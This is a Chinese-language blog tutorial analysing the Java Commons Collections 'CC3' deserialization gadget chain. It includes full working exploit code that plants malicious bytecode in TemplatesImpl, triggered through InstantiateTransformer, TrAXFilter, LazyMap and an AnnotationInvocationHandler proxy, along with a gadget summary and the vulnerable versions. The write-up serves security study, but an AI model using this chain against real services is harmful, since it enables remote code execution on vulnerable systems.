Java反序列化漏洞(五)- CommonsCollections3链
CC3 官方描述为 CC1 的变种,其中能看到 CC1 和 CC2 的部分影子,但是部分技术细节并不相同。
在 CC1 中,使用了 AnnotationInvocationHandler 对 LazyMap 进行代理,在反序列化时触发 LazyMap 的 get 方法,并对 LazyMap 装饰 Transformer 触发漏洞。
在 CC2 中,使用 TemplatesImpl 的 newTransformer 方法触发实例化恶意类触发漏洞,方法的调用则是使用了 InvokerTransformer 反射调用。
而在 CC3 中,使用了 CC1 和 LazyMap 和 CC3 的 TemplatesImpl,中间寻找了其他的触发 newTransformer 的实现方式。
0x01 前置知识
TrAXFilter
在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter
,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,
TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。
InstantiateTransformer
有了上述 gadget ,接下来的重点就是需要我们实例化这个 TrAXFilter,实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。
Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform()
方法实际上接收一个 Class 类型的对象,通过 getConstructo
r 获取构造方法,并通过 newInstance
创建类实例。
反射需要的 iParamTypes 参数类型、iArgs 参数值则在 InstantiateTransformer 初始化时赋值。
0x02 攻击构造
由此,结合上面的点,可以构造出完全的攻击代码:
public class EvilClassForCC3 extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static String fileName = "CC3.bin";
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException {
// 读取恶意类 bytes[]
InputStream inputStream = CC3.class.getResourceAsStream("EvilClassForCC3.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "su18");
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
});
// 初始化 LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);
writeObjectToFile((Serializable) invocationHandler, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
0x03 总结
以上就是 CC3 链分析的全部内容了,最后总结一下。
1.利用说明:
- 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作,配合 LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法,利用了 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞。
2.Gadget 总结: - kick-off gadget:
sun.reflect.annotation.AnnotationInvocationHandler#readObject()
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
- chain gadget:
org.apache.commons.collections.functors.InstantiateTransformer#transform()
3.调用链展示:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
4.依赖版本
commons-collections : 3.1~3.2.1
jdk < 7u21
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!